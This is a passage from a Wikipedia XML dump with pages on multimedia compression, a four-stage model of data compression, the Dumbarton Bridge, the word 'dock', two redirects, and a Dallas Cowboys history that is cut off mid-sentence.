Multimedia compression has become the primary focus of compression research, primarily in a search for more efficient models.
It is the most important part in [[video coding]] formats.

See also:
* [[Video compression]]
* [[Audio compression]]
* General [[data compression]]
* [[Digital signal processing]]
[[Category:Data compression]]
[[zh:&amp;#22270;&amp;#20687;&amp;#21387;&amp;#32553;&amp;#25216;&amp;#26415;]]</text>
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  <page>
    <title>Four-stage model of data compression</title>
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      <comment>merge; original research; factual accuracy</comment>
      <text xml:space="preserve">{{merge|Data compression}}
{{originalresearch}}
{{accuracy}}

Almost all [[data compression]] systems can be viewed as comprising
'''four successive stages of data processing''' arranged as a processing [[pipeline]] (though some stages
will often be combined with a neighboring stage,
performed &quot;off-line,&quot; or otherwise made rudimentary).

The four stages are
:(A) Preliminary pre-processing steps.
:(B) Organization by context.
:(C) Probability estimation.
:(D) Length-reducing code.

The ubiquitous compression pipeline (A-B-C-D) is what is of interest.

* With (A) we mean various pre-processing steps that may be appropriate before the final compression engine. &lt;br&gt;&lt;br&gt; Lossy compression often follows the same pattern as lossless, but with one or more quantization steps somewhere in (A).  Sometimes clever designers may defer the loss until suggested by statistics detected in (C); an example of this would be modern zerotree image coding.

* (B) Organization by context often means data reordering, for which a simple but good example is JPEG's &quot;Zigzag&quot; ordering.  The purpose of this step is to improve the estimates found by the next step.

* (C) A probability estimate (or its heuristic equivalent) is formed for each token to be encoded.  Often the estimation formula will depend on context found by (B) with separate 'bins' of state variables maintained for each conditioned class.

* (D) Finally, based on its estimated probability, each compressed file token is represented as bits in the compressed file.  Ideally, a 12.5%-probable token should be encoded with three bits, but details become complicated.

== Further discussion ==

=== Preliminary pre-processing steps ===

Preliminary compression steps is a catch-all including such ideas as compaction transforms (e.g. subband image coding), hierarchal decompositions, template matching, string searching, and miscellaneous tricks like the [[Burrows-Wheeler transform]]. We aren't concerned with this stage here, except to note that many such preprocessing steps fall nicely within the scope of &quot;Organization by Context.&quot; In lossy systems, any loss is usually introduced in (A), so remaining steps are the same for both lossy and lossless.

=== Organization by context ===

Organization by context often means data reordering, for which a simple example is JPEG's `Zigzag' ordering -- a simple device to sequence a vector's elements into approximate order of expected energy (or bit rate requirement).  (One important but little-remarked reason why more modern zerotree-type image compressors outperform JPEG is that they bunch similar statistics across very large image areas, while JPEG just does a 64-pel block.) 

More generally, context organization includes ''separation'' and ''concatenation'' to move data with similar context, such as adjacent pixel values, to adjacent locations in an encoding stream, or to provide a similar context character to a context-conditioned probability estimation machine.

=== Probability estimation ===
A probability estimate (or its heuristic equivalent) is formed for each token to be encoded; the estimates depend on data reordering or bin assignment in step (B). The probability estimate takes the form of a vector of k probabilities, summing to one, for k possible decision outcomes labelled 0, 1, .... k-1. Often k=2 and the outcome tokens are simply bits. 

These probabilities can be reconstructed by the decoder, so what is encoded into the compressed file is just the outcome token. Instead of using {0, 1} as the outcome token set when k=2, it is often convenient to use {MPS, LPS} -- the More and Less Probable Symbol.

Eventually this section should discuss some topics in probability estimation:

* Statistical Coding: Conditional probabilities
* Statistical Coding: The `Overtraining' problem
* Statistical Coding: Distributed estimation
* Axioms for Probability estimation: efficacy, ergodicity, insensitivity
* Static Probability estimation: offline, semi-adaptive
* Stationary Probability estimation: Bayesian
* Window-based Probability estimation: e.g. Lempel-Ziv
* Decaying-average Probability estimation: e.g. QM-coder

=== Entropy coding ===

The encoded events are converted into the bits of the compressed
data file.  Let us first separate these systems into two types. K is relatively large.  [[Huffman coding]] is popular and useful, especially when symbol probabilities were already estimated in an earlier &quot;offline&quot; effort. Adaptive Huffman coding is also in use.

K = 2.  [[Golomb coding]] and its variants like [[Langdon coding]] are simple, effective and popular; these produce output bits only when LPS is encountered. [[Arithmetic coding]] is also effective, as are their close cousins, quasi-arithmetic codes and FSM codes. An advantage of arithmetic and related codes over Golomb coding is the automatic interleaving of compressed data from multiple contexts, though chips implementing interleaved Golomb-type codes have recently been introduced by Ricoh Co., Ltd.

Intermediate values like K=3 might seem to pose a problem.  In fact, practical systems may be slightly more complicated than indicated here. Also, in some systems, e.g. LZ text coding, stages (A)-(B) of the compression system may be designed to get good compression even
with trivial (C)-(D).

== Further examples ==

Instead of a Huffman code, a simple often applicable coding device is MTF (Move To Front) followed by a simple length-reducing code such as the so-called [[Fibonacci code]].  That might be viewed as MTF is stage (B), the simple &quot;Fibo code&quot; as stage (D), with stage (C) disappearing entirely, if the Fibo code fits the model statistics well.

''See also: [[Data compression]]''

[[nl:Vierstappenmodel voor datacompressie]]
[[Category:Data compression]]</text>
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    <title>Data compression/Deflation</title>
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      <text xml:space="preserve">#REDIRECT [[DEFLATE (algorithm)]]</text>
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    <title>Dumbarton Bridge (California)</title>
    <id>8117</id>
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        <username>Dante Alighieri</username>
        <id>5455</id>
      </contributor>
      <comment>carpool and FasTrak info</comment>
      <text xml:space="preserve">[[Image:Dumbarton-Bridge.jpg|right|thumb|300px|The Dumbarton Bridge seen from the western terminus.]]
The '''Dumbarton Bridge''' is the southernmost of the highway [[bridge]]s that span the [[San Francisco Bay]] in [[California]]. Carrying over 61,000 vehicles daily, it is also the shortest bridge across San Francisco Bay at 1.63 miles (8600 feet / 2622 m / 2.62 Km). Its eastern terminus is in [[Fremont, California|Fremont]], near [[Newark, California|Newark]] in the [[San Francisco Bay National Wildlife Refuge]] and its western terminus is in [[Menlo Park, California|Menlo Park]].  The bridge has three lanes in each direction, and features a separated bike/pedestrian lane on its eastbound side. Currently there is a toll charge of [[US dollar|$]]3 for cars travelling east to west. The toll plaza also allows [[carpool]]s across for free during certain hours as well as sporting two [[FasTrak]] lanes.

[[Image:Raildumbartrazorback.jpg|thumb|left|280px|[[California clapper rail]] is a known resident of the western terminus area.  Photo credit Don Roberson]]

==Environmental factors==

When the current bridge was planned in the 1970s, [[Caltrans]] conducted extensive environmental research on the [[aquatic]] and [[terrestrial]] environment.  Principal concerns of the public were [[air pollution]] and [[noise pollution]] impacts, partiularly in some residential areas of [[Menlo Park]] and [[East Palo Alto]].  The firm of [[ESL Inc.]] was retained to conduct these studies and produce contour maps of projected [[sound level]]s and [[carbon monoxide]] concentrations throughout the western approaches, for each alternative connection scheme{{ref|Hogan}}.

The local area around the bridge is an important ecological area, hosting many species of birds, fish and mammals.  The [[endangered species]] [[California clapper rail]] is known to be present in the western bridge terminus area.

Near the bridge on the Peninsula are Menlo Park's Bayfront Park, East Palo Alto's Ravenswood Open Space Preserve, and Palo Alto's [[Baylands Nature Preserve]]. An accessible portion of the [[San Francisco Bay National Wildlife]] Refuge lies immediately north of the western bridge terminus, where the Ravenswood trail runs{{ref|San}}.

On both sides of the eastern terminus of the bridge are large salt ponds and [[levee]] trails belonging to the [[Don Edwards San Francisco Bay National Wildlife Refuge]]. The headquarters and visitor center for the refuge is on a hill south of the bridge approach. North of the eastern bridge terminus is [[Coyote Hills Regional Park]], with its network of trails running over tall hills. North of that is the [[Alameda Creek Regional Trail]], running from the Bay to [[Niles Canyon]]. East of [[Coyote Hills]] is [[Ardenwood Historic Farm]], a restored working farm that preserves and displays turn-of-the-century farming methods

==History and engineering features==

The bridge never was officially named, but the common use name comes from Dumbarton Point, which dates to [[1876]] when it was named for [[Dumbarton]] in [[Scotland]]. Built originally to provide a shortcut for traffic originating in San Mateo and Santa Clara Counties, the bridge served industrial and residential areas on both sides. The earlier bridge, opened in on January 17, [[1927]], was the first vehicular bridge to cross San Francisco Bay. Portions of this old drawbridge remain as fishing piers.  The original bridge was built with private capital and then purchased by the State for $2.5 million in 1951.

Its age and the limitations of a two-lane undivided roadway and lift-span made it necessary for a replacement bridge to be constructed 90 feet to the north. This current bridge, a six-lane, high-level structure, was opened to traffic in October 1982. The cost of the complete replacement project was $200 million.  The current bridge has a shoulder in each direction for emergency use and a two-way [[bicycle]] and pedestrian path on the eastbound side. A 340 foot center span provides 85 feet of vertical clearance for [[ship]]ping.  The approach spans on both sides of the Bay are of prestressed [[lightweight concrete]] [[girder]]s supporting a lightweight concrete deck. The center spans are twin steel trapezoidal girders which also support a lightweight concrete deck.  The rail bridge is currently unused, but a successful March [[2004]] regional transportation ballot measure included funding to rehabilitate the rail bridge for commuter rail service.

==Connections to the western circulation system==

The bridge is part of [[California State Route 84]], and is directly connected to [[Interstate 880]] by a freeway segment north of the Fremont end. However, it is not directly connected to [[U.S. Highway 101 in California|US 101]] at its southern end in Menlo Park. Motorists must traverse one of three at-grade routes to connect from the Bayshore Freeway to the bridge.

Although this has led to severe traffic problems on the bridge itself and in Menlo Park and [[East Palo Alto, California|East Palo Alto]], [[Caltrans]] has been unable to upgrade the relevant portion of Highway 84 to Interstate standards, due to opposition from the cities of Menlo Park, [[Atherton, California|Atherton]] and [[Palo Alto, California|Palo Alto]].  The freeway opponents fear that upgrading Highway 84 will encourage more people to live in [[Alameda County, California|Alameda County]] (where housing is more affordable) and commute to jobs in the mid-Peninsula area, thus increasing traffic in their neighborhoods to the south of the bridge.

Bus service across the bridge is provided by the [[Dumbarton Express]], run by a consortium of local transit agencies ([[SamTrans]],[[AC Transit]], [[VTA]] and others) which connects to [[Bay Area Rapid Transit|BART]] at Union City and [[Caltrain]] at Palo Alto and California Avenue (Mayfield).

==Film credits==

An extended sequence in the movie ''[[Harold and Maude]]'' takes place on the [[1927]] span and its eastern approach.  The Dumbarton Bridge is also mentioned in the dialog of the [[1992]] film ''[[Sneakers (film)|Sneakers]]''.

==References==

* {{note|Hogan}} [[C. Michael Hogan]], Harry Seidman, Leda Patmore, Gary latshaw et al., ''Air Quality and acoustical analysis of the Dumbarton Bridge replacement project'', prepared for Caltrans by [[ESL Inc.]], Sunnyvale, Ca. (1974)

* {{note|San}} ''San Francisco Bay Shoreline Guide'', by California State Coastal Conservancy, University of california Press (1995) ISBN: 0520088786

== External links ==
* [http://www.dot.ca.gov/hq/traffops/hwybrdg/tollbridge/History/Dumbarton.html California Dept. of Transportation: Dumbarton Bridge History &amp;amp; Information]
* [http://baytrail.abag.ca.gov/vtour/map3/access/Btdmbrtn/Btdmbrtn.htm Bay Trail: Dumbarton Bridge]
{{Geolinks-US-hoodscale|37.5069|-122.1169}}

{{SFBridges}}
[[Category:Bridges in California]]
[[Category:Toll bridges in California]]
[[Category:Bridges completed in 1984]]
[[Category:Bridges completed in 1927]]

[[bg:Дъмбартън (Калифорнийски мост)]]</text>
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  <page>
    <title>Dock</title>
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        <username>CarolGray</username>
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      <comment>fix link to ferry slip</comment>
      <text xml:space="preserve">'''Dock''' can refer to several things:
*Places for the transfer of [[person|people]] and [[material]]s to, from, or between different forms of [[transport]] or working with transport:
** A [[dock (maritime)|maritime dock]].
** [[Loading dock]], the land equivalent.
** A [[dry dock]].
** In [[American English]] dock is technically synonymous with [[pier]] or [[wharf]]; any human-made structure intended for people to be on. However, in modern use, pier is generally used to refer to structures originally intended for industrial use, such as [[seafood processing]] or [[shipping]], and more recently for [[cruise ship]]s, and dock is used for most everything else, often with a qualifier, such as [[Ferry slip|ferry dock (ferry slip)]], [[swimming dock]], etc.
**In [[cottage]] country in [[Canada]] a dock is a wooden platform build over water with one end secured to the shore.  The platform is used for boarding and off loading small boats.  The platform elevation is typically 50 [[Metre#SI_multiples|centimetre]] above the water.
** [[Space vehicle]]s also ''dock'' in space to allow the transfer of [[astronaut]]s from one vehicle to another in a [[space rendezvous]].
**In [[United Kingdom|British]] [[courtroom]]s, it is a small enclosed place where the [[defendant]] stands during the [[trial (law)|trial]].
::These meanings of the word came from [[Old Norse]] ''dokk'' = &quot;small recess or corner&quot;.
* [[Plant]]s in the genus ''[[Rumex]]'' are also often known as [[Rumex|Dock]]s.
* [[Docking]], the process of removing part of an animal's tail or ears.
* The [[Dock (computing)|Dock]] in some [[computer]] [[operating systems]], especially NeXT Step and Mac OS X
* [[Molecular docking|Computational molecular docking]] is a technique used to predict whether a small molecule will bind to a protein. This is particularly important in [[rational drug design]].
* [[Protein-protein docking]] is a field of theoretical biochemistry aimed at predicting the associations of two or more [[protein]]s.
* [[The Docks]], a multi-purpose enterainment complex in [[Toronto]], [[Ontario]], [[Canada]].
* '''The Docks''' is a level in the video game [[Heretic (video game)|Heretic]].
* [[Gay slang#D|Docking]], a male-male sexual activity.


{{disambig}}

[[ja:ドック]]</text>
    </revision>
  </page>
  <page>
    <title>Dockyard</title>
    <id>8119</id>
    <revision>
      <id>15906140</id>
      <timestamp>2003-10-20T01:02:31Z</timestamp>
      <contributor>
        <username>Jamesday</username>
        <id>22105</id>
      </contributor>
      <comment>Redirect to shipard</comment>
      <text xml:space="preserve">#REDIRECT [[Shipyard]]</text>
    </revision>
  </page>
  <page>
    <title>Dorothy Sayers</title>
    <id>8120</id>
    <revision>
      <id>15906141</id>
      <timestamp>2002-08-15T09:35:18Z</timestamp>
      <contributor>
        <username>-- April</username>
        <id>166</id>
      </contributor>
      <comment>redirect as per talk</comment>
      <text xml:space="preserve">#REDIRECT [[Dorothy L. Sayers]]</text>
    </revision>
  </page>
  <page>
    <title>Dallas Cowboys</title>
    <id>8121</id>
    <revision>
      <id>42131915</id>
      <timestamp>2006-03-04T00:58:23Z</timestamp>
      <contributor>
        <username>Phbasketball6</username>
        <id>851404</id>
      </contributor>
      <comment>/* Not to be forgotten */</comment>
      <text xml:space="preserve">{{NFL team | name = Dallas Cowboys
| logo = DallasCowboys_100.png
| founded = 1960
| city = Irving, Texas
| colors = Royal Blue, Metallic Silver, Blue, and White
| coach =  [[Bill Parcells]]
| owner = [[Jerry Jones]]
| general manager = Jerry Jones
| nicknames = The 'Boys
| mascot = Rowdy [http://www.dallascowboys.com/rowdy.cfm]
| stations = KLUV (98.7 FM)
| announcers = Babe Laufenberg, Kristi Scales, and Brad Sham
| hist_yr = 1960
| NFL_start_yr = 1960
| division_hist =
*Western Conference (1960)
*Eastern Conference (1961-1969)
**Capitol Division (1967-1969)
*'''[[National Football Conference]] (1970-present)'''
**'''[[NFC East]] (1970-present)'''
| no_league_champs = 5
| no_sb_champs = 5
| no_conf_champs = 10
| no_div_champs = 18
| sb_champs = 1971&amp;nbsp;([[Super Bowl VI|VI]]), 1977&amp;nbsp;([[Super Bowl XII|XII]]), 1992&amp;nbsp;([[Super Bowl XXVII|XXVII]]), 1993&amp;nbsp;([[Super Bowl XXVIII|XXVIII]]), 1995&amp;nbsp;([[Super Bowl XXX|XXX]])
| conf_champs =
*'''NFL Eastern:''' 1966, 1967
*'''NFC:''' 1970, 1971, 1975, 1977, 1978, 1992, 1993, 1995
| div_champs =
*'''NFL Capitol:''' 1967, 1968, 1969
*'''NFC East:''' 1970, 1971, 1973, 1976, 1977, 1978, 1979, 1981, 1985, 1992, 1993, 1994, 1995, 1996, 1998
| stadium_years =
*[[Cotton Bowl (stadium)|Cotton Bowl]] (1960-1970)
*'''[[Texas Stadium]] (1971-present)'''
}}

The '''Dallas Cowboys''' are a professional [[American football]] team based in the [[Dallas, Texas]] [[metropolitan area]], and play their home games in the suburb of [[Irving, Texas|Irving]]. They currently belong to the [[NFC East|Eastern Division]] of the [[National Football Conference]] (NFC) in the [[National Football League]] (NFL). The Cowboys joined the NFL as a 1960 [[expansion team]]. The team is sometimes referred to colloquially as ''[[America's Team]]'' due to its having a large fanbase that lives outside its immediate local area (the term itself is derived from the title of the team's 1979 [[NFL Films]] [[highlight film]]).

The Cowboys are one of the most successful teams in the history of the NFL, holding the league records for most consecutive winning seasons (20, from 1966 to 1985) and most seasons with at least 10 wins (24). The team has earned the most postseason appearances (27, as of 2004, which includes another league record of 54 postseason games, winning 32 of them) and the most [[Super Bowl]] appearances (8). The Cowboys became the first team in NFL history to win 3 Super Bowls in just 4 years (a feat that has been matched only once since, by the [[New England Patriots]]), and are tied with the [[San Francisco 49ers]] and the [[Pittsburgh Steelers]] for having the most number of Super Bowl wins (5).

:'''Uniform colors:'''  White jerseys have royal blue numbers and lettering; colored jerseys feature a darker shade of blue as background (similar to that of the star logo shown to the upper right) with white numbers and lettering.  By tradition, and unlike most NFL teams, the Cowboys normally wear their white jerseys at home (although they may wear their colored jerseys during special occasions). In the 2003 season, the Cowboys revived their 1962 [[throwback]] uniform (blue jersey with white sleeves) for special occasions such as Thanksgiving and a September 19, 2005 game against the [[Washington Redskins]].  That particular game was the Cowboys' first ever home game against the Redskins in which they opted to dress in their colored jerseys. 

:'''Helmet design:'''  Silver background with a blue star (throwback helmet is white with a blue star)

==Franchise history==
===1960s===
Originally, the formation of an NFL expansion team in Texas was met with strong opposition by [[Washington Redskins]] owner, [[George Preston Marshall]]. Despite being located in the nation's capital, Marshall's Redskins had enjoyed a monopoly as the only NFL team to represent the Southern States of the US for several decades, so a new team in Texas was unwanted competition.  This came as little surprise to would-be team owners, [[Clint Murchison, Jr.]] and [[Bedford Wynne]], so to ensure the birth of their expansion team, the men bought the rights to the Redskins fight song, &quot;[[Hail to the Redskins]]&quot; and threatened to refuse to allow Marshall to play the song at games.  Needing the song, which had become a staple for his &quot;professional football team of Dixie&quot;, Marshall changed his tune, and the city of [[Dallas, Texas]], was granted an NFL franchise on [[January 28]], [[1960]]. This early confrontation between the two franchises no doubt triggered what would become one of the more [[significant rivalries in the NFL]], which continues even to this day.

The new Dallas owners, Murchison and Wynne, immediately hired [[Tex Schramm]] to be the general manager and [[Tom Landry]] to be the head coach.  In the Cowboys' first season, they finished winless with a 0-11-1 record.  The following year, the Cowboys made their first NFL draft selection, selecting [[Bob Lilly]] with the 13th pick in the draft.  The year 1961 also saw the Cowboys' first victory, a 27-24 win over the [[Pittsburgh Steelers]] on [[September 17]].

During the 1960s, the Cowboys continued to improve their team.  [[Quarterback]] [[Don Meredith]] and [[running back]] [[Don Perkins]] joined the team and by 1966, the Cowboys had their first winning season (10-3-1; which began a record-setting streak of 20 straight winning seasons, unmatched by any other NFL team) and their first playoff appearance. Although the playoff game was a 34-27 loss to the [[Green Bay Packers]], it marked the start of a record-setting eight consecutive playoff appearances. (The Cowboys would later match and extend that record, raising the bar to an NFL record 9 straight playoff appearances in 1983.) By the mid-60s, the Cowboys had become a powerful force in the NFL, sending eight players to the [[Pro Bowl]] including Cowboy legends: [[Bob Hayes]], [[Chuck Howley]], &quot;Dandy&quot; Don Meredith, Don Perkins, and future Pro Football Hall of Famers, Bob Lilly and [[Mel Renfro]].

Similarly, the Cowboys were becoming an important part of the people of Dallas.  For their first years, the Cowboys were always playing second fiddle to [[Lamar Hunt]]'s [[Kansas City Chiefs|Dallas Texans]] of the [[American Football League|AFL]] because the Texans were the more established team and had the better record.  But in 1963 when the Texans moved to [[Kansas City, Missouri|Kansas City]] and became the [[Kansas City Chiefs]], the Cowboys became the only professional football draw in town.  By 1969, ground was being broken on a new stadium for the Cowboys to replace the [[Cotton Bowl (stadium)|Cotton Bowl]].  [[Texas Stadium]] in [[Irving, Texas|Irving]], a [[Dallas County, Texas|Dallas County]] suburb, would be completed for the 1971 season.  Since they didn't leave Dallas County, there were no moves to change the name of the team.

In 1967, the Cowboys finished with a 9-5 record and had their first playoff victory: a 52-14 affair over the [[Cleveland Browns]].  They went on to face the [[Green Bay Packers]] in the NFL Championship game.  The game, which happened on [[December 31]], 1967 at [[Lambeau Field]] in [[Green Bay, Wisconsin|Green Bay]], turned out to be one of the coldest NFL games on record (about -13&amp;deg; [[Fahrenheit|F]] with a -40&amp;deg; [[wind chill]]).  The Cowboys lost 21-17 on a one-yard [[quarterback sneak]] by Packers quarterback [[Bart Starr]].  The game would later come to be known as the &quot;[[Ice Bowl (NFL)|Ice Bowl]].&quot;

===1970s===
In the 1970s, the NFL underwent many changes as it absorbed the AFL and became a unified league, but the Cowboys also underwent many changes.  Meredith and Perkins retired in 1969 and many new players were joining the organization, like [[Cliff Harris]], [[Lee Roy Jordan]], [[Rayfield Wright]], [[Dan Reeves]], plus Pro Football Hall of Famers [[Mike Ditka]] and [[Roger Staubach]].  Led by quarterback [[Craig Morton]], the Cowboys made it to their first [[Super Bowl]], a mistake-filled [[Super Bowl V]], where they lost 16-13 to the [[Baltimore Colts]] courtesy of a [[field goal]] by Colts' kicker [[Jim O'Brien]] as time expired.    However, the disappointing Super Bowl loss was made up for the next year when the Cowboys, led by Staubach, won their first NFL Championship in 1971, [[Super Bowl VI]], a 24-3 victory over the [[Miami Dolphins]].

The Cowboys were now beginning to grow in popularity not just in Dallas, but nationwide.  Their televised appearances on [[Thanksgiving|Thanksgiving Day]] games beginning in 1966 helped bring the Cowboys to a nationwide audience.  Under Tom Landry, the so-called &quot;Doomsday Defense&quot; became a powerful and dominating force in the NFL and their offense was also exciting to watch.

The Cowboys faltered slightly in 1974, missing the playoffs for the first time in eight years.  However, the Cowboys drafted well following the season, adding new legends like [[Randy White (football player)|Randy White]] and [[Hollywood Henderson|Thomas &quot;Hollywood&quot; Henderson]].  The fresh influx of talent helped the Cowboys to [[Super Bowl X]], where they lost to the [[Pittsburgh Steelers]], 21-17.  But the Cowboys would again taste Super Bowl victory, defeating the [[Denver Broncos]] 27-10 in [[Super Bowl XII]].  Bob Ryan, an NFL films editor, would dub the Cowboys &quot;America's Team&quot; following this season, a nickname that has earned derision from non-Cowboys fans but has stuck through both good times and bad.

The glory days of the Cowboys in the 1970s were coming to an end.  They would reach one final Super Bowl, [[Super Bowl XIII]], losing once again at the hands of the Pittsburgh Steelers, 35-31, despite a last-minute effort by Staubach which failed.  Roger Staubach retired following the 1979 season (replaced by punter [[Danny White]], who did double-duty as quarterback and punter for a few years) and the Cowboys' stardom seemed to fade in the NFL.

===1980s===
While the Cowboys would return to the playoffs 5 times and win 2 Division Championships, the team failed to claim a single Conference Championship in the 80's and would not return to the Super Bowl during that decade.

In the 1981 [[NFC Championship|NFC Championship game]], the Cowboys lost to the [[San Francisco 49ers]] on a [[touchdown]] pass from [[Joe Montana]] to [[Dwight Clark]] in the final minute of play.  Clark's famous leap in the end zone would come to be known as &quot;The Catch&quot; and represented a changing of the guard in the NFC from the dominant Cowboys teams of the 1970s to the dominant 49ers teams of the 1980s. 

In 1984, [[Bum Bright|H.R. &quot;Bum&quot; Bright]] purchased the Dallas Cowboys from Murchison, but following seasons that were getting progressively worse (1985: 10-6; 1986: 7-9; 1987: 7-8; 1988: 3-13), Bright sold the Cowboys to [[Jerry Jones]] on [[February 25]], [[1989]].  Jones promptly fired Tom Landry, the only coach the Cowboys had ever known, and replaced him with [[University of Miami]] head coach, [[Jimmy Johnson (football coach)|Jimmy Johnson]].  This also led to the retirement of quarterback-punter [[Danny White]], who (like Roger Staubach) worked closely with Landry. With the first pick in the draft, the Cowboys selected quarterback [[Troy Aikman]] and traded away veteran running back [[Herschel Walker]] to the [[Minnesota Vikings]] for five veteran players and eight draft choices.  The Cowboys finished the 1989 season with a 1-15 record, the worst record since the team's inception, but the foundations for the Cowboys' return to glory had been set.

===1990s===
In 1990, the Cowboys drafted running back [[Emmitt Smith]] and the trifecta of Aikman, Smith and [[wide receiver]] [[Michael Irvin]] was now set.  The Cowboys finished 7-9, but Smith was named NFC Offensive Rookie of the Year and [[Jimmy Johnson]] was selected as Coach of the Year.  By 1991, the Cowboys finished with an 11-5 record, making the playoffs for the first time in six years.

In 1992, the Cowboys finished 13-3 (second best in the league) and exacted their revenge on the San Francisco 49ers in the NFC Championship Game, 30-20.  The Cowboys went on to defeat the [[Buffalo Bills]] in [[Super Bowl XXVII]], 52-17. Jimmy Johnson became the first coach to claim a National Championship in college football and a Super Bowl victory in professional football. The following season, the Cowboys went 12-4, again defeating the 49ers in the NFC Championship and again defeating the Buffalo Bills in [[Super Bowl XXVIII]], this time by a margin of 30-13.  The Cowboys sent an NFL record 11 players to the Pro Bowl: Troy Aikman, Emmitt Smith, Michael Irvin, [[Thomas Everett]], [[Daryl Johnston]], [[Russell Maryland]], [[Nate Newton]], [[Ken Norton Jr]], [[Jay Novacek]], [[Mark Stepnoski]] and [[Erik Williams]].

However, Jimmy Johnson and [[Jerry Jones]] had a falling out, so Johnson left the organization prior to the 1994 season.  Jones hired former [[University of Oklahoma]] head coach [[Barry Switzer]] to be the team's new head coach.  The Cowboys would finish 12-4, but lost in the NFC Championship game to the 49ers, 38-28.  However, another 12-4 season in 1995 would earn the Cowboys a fourth straight Division Championship (17th total) and send the Cowboys to the playoffs once more where they claimed their 8th NFC Championship title by defeating the Green Bay Packers, 38-27. The Cowboys eventually defeated the Pittsburgh Steelers 27-17 in [[Super Bowl XXX]], getting revenge against the Steelers for the two four-point losses in [[Super Bowl X]] and [[Super Bowl XIII]].

However, the glory days of the Cowboys were again beginning to dim as [[free agency]] and injuries began taking their toll.  The Cowboys went 6-10 in 1997, with discipline and off-field problems becoming major distractions, and in January of 1998, Switzer resigned.  Former Steelers offensive coordinator [[Chan Gailey]] was hired to take over head coaching duties.  Gailey led the team to a 10-6 record in 1998, but was let go after an 8-8 season in 1999.

===2000s to present===
Defensive coordinator [[Dave Campo]] was promoted to head coach, but he could only post three consecutive 5-11 seasons, with his fate likely being sealed by an opening day loss in 2002 to the expansion [[Houston Texans]].  Many fans and media were beginning to blame [[Jerry Jones]] for the team's ills, noting that he refused to hire a strong coach, preferring to hire coaches who didn't want to be involved with personnel duties so that Jones himself could manage them.

However, Jones proved them wrong in 2003 by luring [[Bill Parcells]] out of retirement to coach the Cowboys.  The Cowboys became the surprise team of the 2003 season, posting a 10-6 record with the best overall defense in the NFL.  However, the 2004 season was one of turmoil.  Injuries and persistent penalty problems hobbled the Cowboys, but a preseason quarterback controversy also caused trouble when [[Quincy Carter]] was suddenly terminated for drug use in favor of 40-year-old veteran [[Vinny Testaverde]], brought to the Cowboys from the New York Jets by his former coach in the off-season.  The Cowboys started strong, with victories against the [[Cleveland Browns]] and [[Washington Redskins]], but quickly fell off to a 3-5 record by midseason, finishing the season 6-10.

In November of 2004, a vote was passed by the City of [[Arlington, Texas|Arlington]] in [[Tarrant County]] to build a new stadium adjacent to the existing [[Ameriquest Field in Arlington]]. The deadline for either the City of Arlington or the Dallas Cowboys to back out of the deal for the new stadium has passed.  The team will begin playing at the new site in 2009 after thirty-eight years playing in the City of Irving, and forty-nine years in the entire Dallas County.

The Cowboys improved their defense before the 2005-2006 season with the additions of first round draft picks [[Demarcus Ware]] and [[Marcus Spears (defensive end)|Marcus Spears]].  Parcells drafted these two in the hopes of jumpstarting the team's transition from the traditional 4-3 defense to a 3-4 defense, which he believes favors the talents (speed and athleticism over power) of the current lineup.  Jerry Jones also added a number of savvy veteran players, acquiring [[nose tackle]] [[Jason Ferguson]] and [[cornerback]] [[Anthony Henry]] via free agency, and [[linebacker]] [[Scott Fujita]] via the [[Kansas City Chiefs]].  On offense, the Cowboys felt the need to upgrade their passing game to complement their top 2004 draft pick, running back [[Julius Jones]], acquiring both [[quarterback]] [[Drew Bledsoe]] and [[wide receiver]] [[Peerless Price]] via free agency. (Price's contribution to the team was meager, and he was released at the end of the 2005 season.) During his tenure, Parcells has made a point of signing players that have played for him in the past, including Bledsoe and [[wide receiver]] [[Terry Glenn]] (both with the Patriots); [[cornerback]] [[Aaron Glenn]], [[wide receiver]] [[Keyshawn Johnson]] and [[fullback]] [[Richie Anderson]] (all with the Jets; Anderson is no longer with the Cowboys).

The Cowboys began their 2005 campaign on the road, winning a close road game against the [[San Diego Chargers]] 28-24.  In Week 2 (a.k.a. NFL Hurricane Relief Week), the Cowboys wore their 1962 throwback jerseys for the first time that year, as they hoped to pound the [[Washington Redskins]] (one of their division rivals) into the ground.  For most of the game, the Cowboys dominated the game, leading 13-0 for three quarters.  Unfortunately, the defense couldn't hold off a late-game comeback and fell 14-13 to two [[Mark Brunell]] TD passes to [[Santana Moss]].  In Week 3 &amp; 4, the Cowboys traveled to the Bay Area to face the [[San Francisco 49ers]] and the [[Oakland Raiders]].  The Cowboys won a close game against the Niners (34-31), but lost a tight game against the Raiders (19-13).  Afterwards, the Cowboys went home and took on their NFC East rivals.  First, they won against the defending NFC Champion [[Philadelphia Eagles]] 33-10 and then beat the eventual NFC East champion [[New York Giants]] in overtime 16-13, with [[Jose Cortez]]'s 51-yard field goal.  Then, on their road trip to Seattle, the Cowboys took on the Seahawks and played a close game with them. Unfortunately, Drew Bledsoe's late-game pass was intercepted by DB [[Jordan Babineaux]] and the Cowboys fell 13-10.  However, they dominantly prevailed at home over the [[Arizona Cardinals]] 34-13.  They then used their Week 9 Bye to prepare themselves for a Week 10 Monday Night Showdown in Philadelphia.  The Cowboys trailed for most of the game, but then, late in the fourth quarter, the Cowboys came within striking distance (20-14).  When [[Donovan McNabb]] tried to pass to [[Reggie Brown]], [[Roy Williams (DB)|Roy Williams]] intercepted the pass and ran 46 yards for the game-winning touchdown (21-20).  Afterwards, they went home and defeated the [[Detroit Lions]] 20-7.  On Thanksgiving Day, the Cowboys donned their '62 throwback jerseys again, as the [[Denver Broncos]] came to town.  Both sides played hard and fierce football.  Yet, the Cowboys fell to the Broncos in overtime 24-21, on a 24-yard field goal by [[Jason Elam]].  They then traveled to Giants Stadium and lost a close game to the Giants 17-10.  The Cowboys would get redemption at home as the narrowly beat the [[Kansas City Chiefs]] 31-28.  Unfortunately, when the Cowboys traveled to [[FedEx Field]] for a rematch with the Redskins, Drew Bledsoe wasn't safe.  He was sacked seven times and they turned the ball over four times as the Redskins pummeled the Cowboys from start to finish.  Basically, the Cowboys trailed from the start and failed to catch up, as they were swept by the Redskins for the first time since 1995 by a final score of 35-7.  However, the Cowboys wouldn't let that loss shake them up.  In their last road game of the season, they took on the [[Carolina Panthers]].  Trailing 20-17 late in the game, [[Billy Cundiff]] tried to tie the game with a field goal.  The Bad News: CB [[Ken Lucas]] got his middle finger on the ball and it sailed wide right.  The Good News: DE [[Julius Peppers]] was called for roughing the kicker.  That penalty would set the stage for Drew Bledsoe's 2-yard Touchdown pass to [[Terry Glenn]].  The Cowboys would win 24-20.  Unfortunately, their playoff hopes were dashed when the Redskins defeated the Philadephia Eagles. Even if Dallas and Washington had ended their regular seasons at 10-6, the 